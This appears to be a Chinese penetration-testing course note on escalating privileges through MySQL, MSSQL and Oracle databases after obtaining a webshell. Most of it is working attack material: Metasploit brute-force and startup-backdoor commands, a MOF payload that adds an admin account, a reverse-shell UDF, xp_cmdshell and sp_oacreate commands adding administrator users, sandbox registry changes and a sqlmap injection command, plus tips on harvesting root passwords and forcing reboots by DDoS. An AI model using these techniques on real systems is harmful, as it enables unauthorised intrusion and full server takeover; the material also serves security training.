思維導圖
在利用系統溢出漏洞無果的情況下,可以采用數據庫進行提權,但需要知道數據庫提權的前提條件:服務器開啟數據庫服務以及獲取到最高權限用戶密碼。除Access數據庫外,其他數據庫基本上都存在數據庫提權的可能。
本課重點:
- 數據庫應用提權在權限提升中的意義
- WEB或本地環境如何探針數據庫應用
- 數據庫提權權限用戶密碼收集等方法
- 目前數據庫提權對應的技術及方法等
案例1:MySQL數據庫提權演示-腳本&MSF
環境准備:阿里雲服務器,windows2012操作系統,php+mysql環境搭建,已上傳后門並取得webshell權限
流程:服務探針-信息收集-提權利用-獲取權限
1、服務探針
連接webshell,對目標服務器進行端口掃描,發現開放了3306端口,說明服務器部署了MySQL數據庫。
2、信息收集
MySQL的最高權限的用戶名為root,嘗試獲取root的密碼。
方法1:讀取網站數據庫配置文件
這種方法的關鍵是了解其命名規則及查找技巧。可以重點查看帶有關鍵字的配置文件,常見的關鍵字有sql、data、inc、config、conn、database、common、include等。
舉例1:database.php
舉例2:config.inc.php
當然在實戰中,即使你找到了配置文件,系統也不一定用的是root用戶。
方法2:讀取數據庫存儲或備份文件
首先,我們了解一下MySQL數據庫存儲格式及對應內容。
@@basedir/data/數據庫名/表名.myd,表名.myd文件中的內容對應的就是表的內容
舉例1
舉例2
查詢用戶名密碼時,我們用到了如下SQL語句。
相應地,mysql.user對應的內容就存儲在MySQLr/data/mysql/user.myd文件中
打開user.myd文件,找到root用戶名密碼。
該密碼使用MD5散列加密,網上存在豐富的彩虹表破解。
方法3:利用腳本暴力猜解
獲取數據庫最高權限密碼,一般我們使用前兩種方法居多,如果前兩種方法實在用不了,我們才考慮使用暴力猜解。暴力猜解之前,需要先了解數據庫是否支持外聯以及如何開啟外聯。
- 若數據庫支持外聯,可以遠程本地暴力猜解;
- 若數據庫不支持外聯,可以服務器本地暴力猜解。
但是,其實root賬戶一般是不支持外聯的,所以沒法使用工具進行本地暴力猜解,但是我們可以將腳本通過webshell上傳到服務器,在服務器本地使用腳本暴力猜解。腳本可以從網上自行下載。
演示
<1>數據庫支持外聯,使用msf工具遠程本地暴力猜解。相關命令
msfconsole search mysql use auxiliary/scanner/mysql/mysql_login show options set rhost 47.99.71.28 set username root set pass_file /opt/mysql_pwd.txt show options exploit
<2>數據庫不支持外聯,使用腳本在服務器本地暴力猜解。
網上搜了一個PHP版Mysql爆破小腳本,成功爆破出密碼。
參考:http://www.zzvips.com/article/79791.html
3、提權利用
3.1 UPF提權
我們優先選擇使用UDF提權。
<1>獲取mysql版本,確定導出目錄。
mysql版本不同,UDF導出目錄也會有所不同。
- 1.mysql<5.1 導出到c:/windows或system32目錄
- 2.mysql>=5.1 導出到安裝目錄/lib/plugin(mysql初始安裝時,plugin目錄默認不存在)。
如下圖,執行select version();語句,獲取mysql版本為5.5.53。
如下圖,執行select @@basedir;語句,獲取mysql的安裝路徑。
可以直接進入安裝目錄/lib/下查看plugin是否存在(或者執行show variables like '%plugin%';語句查看)
如果plugin目錄不存在,需要手工創建plugin目錄或利用NTFS流創建。
<2>利用自定義執行函數導出dll文件進行命令執行
在工具上,點擊mysql提權進入配置頁面,輸入用戶名密碼,將可加載路徑改為plugin下,后面的mysqlDLL.dll不變,點擊安裝DLL。
這個工具總是安裝失敗。試了好幾次,都失敗了。
換個工具試試
首先root連接
這個工具有個好處就是會自動幫你把plugin目錄寫上去,所以我們直接點擊導出udf即可。如下圖,導出成功。
然后使用自帶命令創建cmdshell即可。如下圖所示,創建成功。(如果創建失敗的話,可以重啟環境試試。失敗原因猜測是集成在PHPstudy中的mysql問題)
接下來就可以 查看用戶、查看權限、查看端口等。
后續還可以添加賬戶名密碼,連接它的遠程端口來實現控制服務器的目的。常用命令如下
簡單來說,這個工具原理就是執行如下語句。
總結一下,UDF為User Defined Function用戶自定義函數,也就是支持用戶自定義函數的功能。這里的自定義函數要以dll形式寫成mysql的插件,提供給mysql來使用。也就是說我們可以通過編寫dll文件來實現我們需要的功能。利用UDF提權需要知道root賬戶的密碼,並且需要目標系統是Windows。可以使用現成的udf提權工具,也可以手工測試。
3.2 MOF提權(基於MySQL特性的安全問題)
導出自定義mof文件到系統目錄加載
mof提權的原理:
mof是windows系統的一個文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管對象格式"其作用是每隔五秒就會去監控進程創建和死亡。其就是用又了mysql的root權限了以后,然后使用root權限去執行我們上傳的mof。隔了一定時間以后這個mof就會被執行,這個mof當中有一段是vbs腳本,這個vbs大多數的是cmd的添加管理員用戶的命令。
以下是mof提權的過程:
將mof上傳至任意可讀可寫目錄下,這里我傳到C:/phpStudy/PHPTutorial/WWW/目錄下,命名為user_add.mof。
然后使用sql語句將系統當中默認的nullevt.mof給替換掉。進而讓系統執行我們這個惡意的mof文件。
替換的sql語句:select load_file('C:/phpStudy/PHPTutorial/WWW/user_add.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
mof文件代碼如下所示:

#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
可見其中是有一段添加用戶的腳本。賬號為admin 密碼為admin
經過測試,這個方式成功率不高。
參考:https://www.cnblogs.com/xishaonian/p/6384535.html
3.3 啟動項提權(基於配合操作系統自啟動)
導出自定義可執行文件到啟動目錄配合重啟執行
將創建好的后門或執行文件進行服務器啟動項寫入,配合重啟執行!
演示案例
<1>如果mysql數據庫沒有開啟外聯,當我們拿到數據庫最高權限后,可以執行SQL自行開啟外聯。
<2>使用msf提權,相關命令:
msfconsole search mysql use exploit/windows/mysql/mysql_start_UP show options set rhost 12.34.56.78 set username root set password root exploit
如下圖所示,后門上傳成功。
<3>由於上傳目錄為啟動目錄,當服務器重啟時,就會加載執行。那如何讓服務器重啟呢?一般就是DDS攻擊。之后還可以使用Cobalt Strike滲透測試神器 繼續。
3.4 反彈shell提權(基於利用反彈特性命令執行)
<1>首先,執行命令nc -l -p 5577監聽端口
<2>用上面那個工具,點擊 創建反彈函數,點擊 執行。
<3>輸入自定義SQL語句:select backshell('你的IP',5577),點擊 執行。
<4>反彈成功。
<5>可以執行命令試一下
案例2:Mssql數據庫提權演示-連接客戶端
環境准備:windows2008、SqlServer2008
流程:服務探針-信息收集-提權利用-獲取權限
1、使用xp_cmdshell進行提權
<1>通過查看服務器配置文件得到sa賬戶密碼為admin。
<2>由於mssql默認支持外聯,因為可以本地通過SqlServer2008客戶端使用sa賬戶密碼連接。Navicat也能連接,但是推薦用官方的。
<3>啟用xp_cmdshell。xp_cmdshell默認在mssql2000中是開啟的,在mssql2005之后的版本中則默認禁止。如果用戶擁有管理員sa權限則可以用sp_configure重新開啟它。
啟用: EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; 關閉; exec sp_configure 'show advanced options',1 ; reconfigure; exec sp_configure 'xp_cmdshell',0; reconfigure;
<4>接下來,我們就可以執行任意命令了。
執行: EXEC master.dbo.xp_cmdshell '命令';
<5>如果xp_cmdshell被刪除了,可以上傳xplog70.dll進行恢復
exex master.sys.sp_addextendedproc 'xp_cmdshell','C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
xp_cmdshell在數據庫-系統數據庫-master-可編程性-擴展存儲過程-系統擴展存儲過程目錄下。
2、使用sp_oacreate進行提權
主要是用來調用OLE對象,利用OLE對象的run方法執行系統命令。
<1>啟用sp_oacreate
啟用: EXEC sp_configure 'show advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE WITH OVERRIDE; 關閉: EXEC sp_configure 'show advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures',0; RECONFIGURE WITH OVERRIDE;
<2>執行命令
執行whoami查看權限: declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >C:\\1.txt' 添加用戶: declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123$ 123/add' declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 123$ /add'
3、使用SqlServer沙盒提權
依次執行下列sql語句
--提權語句 exec sp_configure 'show advanced options',1;reconfigure; -- 不開啟的話在執行xp_regwrite會提示讓我們開啟 exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure; --關閉沙盒模式,如果一次執行全部代碼有問題,先執行上面兩句代碼。 exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; --查詢是否正常關閉,經過測試發現沙盒模式無論是開,還是關,都不會影響我們執行下面的語句。 exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode' --執行系統命令 select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")') select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")') 沙盒模式SandBoxMode參數含義(默認是2) `0`:在任何所有者中禁止啟用安全模式 `1`:為僅在允許范圍內 `2`:必須在access模式下 `3`:完全開啟 openrowset是可以通過OLE DB訪問SQL Server數據庫,OLE DB是應用程序鏈接到SQL Server的的驅動程序。 --恢復配置(暫不執行) --exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1; --exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure; --exec sp_configure 'show advanced options',0;reconfigure;
成功創建用戶。
參考資料:https:blog.51cto.com/11797152/2411770
案例3:Oracle數據庫提權演示-自動化工具
1、普通用戶模式:
前提是擁有一個普通的Oracle連接賬號。不需要DBA權限,可提權至DBA,並以Oracle實例運行的權限執行操作系統命令。
2、DBA用戶模式:(自動化工具演示)
擁有DBA賬號密碼,可以省去自己手動創建存儲過程的繁瑣步驟,一鍵執行測試。
案例演示
<1>首先讀取配置文件,獲取到一個Oracle賬號密碼。
<2>工具連接。若賬號是普通賬號,選擇普通模式,若賬號是DBA賬號,選擇DBA模式。然后輸入數據庫相關信息,點擊連接。提示payload發送成功。
<3>提權成功,接下來可以任意執行命令了。
也可以點擊文件管理,操作文件。
還可以反彈shell。
<4>若沒有賬號密碼,但是有注入點,還可以用這個工具的注入模式,進行注入提權。
3、注入提升模式:(sqlmap測試演示)
擁有一個Oracle注入點,可以通過注入點直接執行系統命令,此種模式沒有實現回顯,需要自己驗證。
說明:對於JSP網站,當前獲取到它的網站權限后,不需要提權。因為它的網站權限就是系統權限,jsp自帶system。因為一般Oracle數據庫會和jsp搭配使用,所以當你擁有一個注入點時,你會發現,這個注入點本身就擁有system權限。
命令:sqlmap.py -u http://192.168.131.142:8080/sql.jsp?id-7698 --is-dba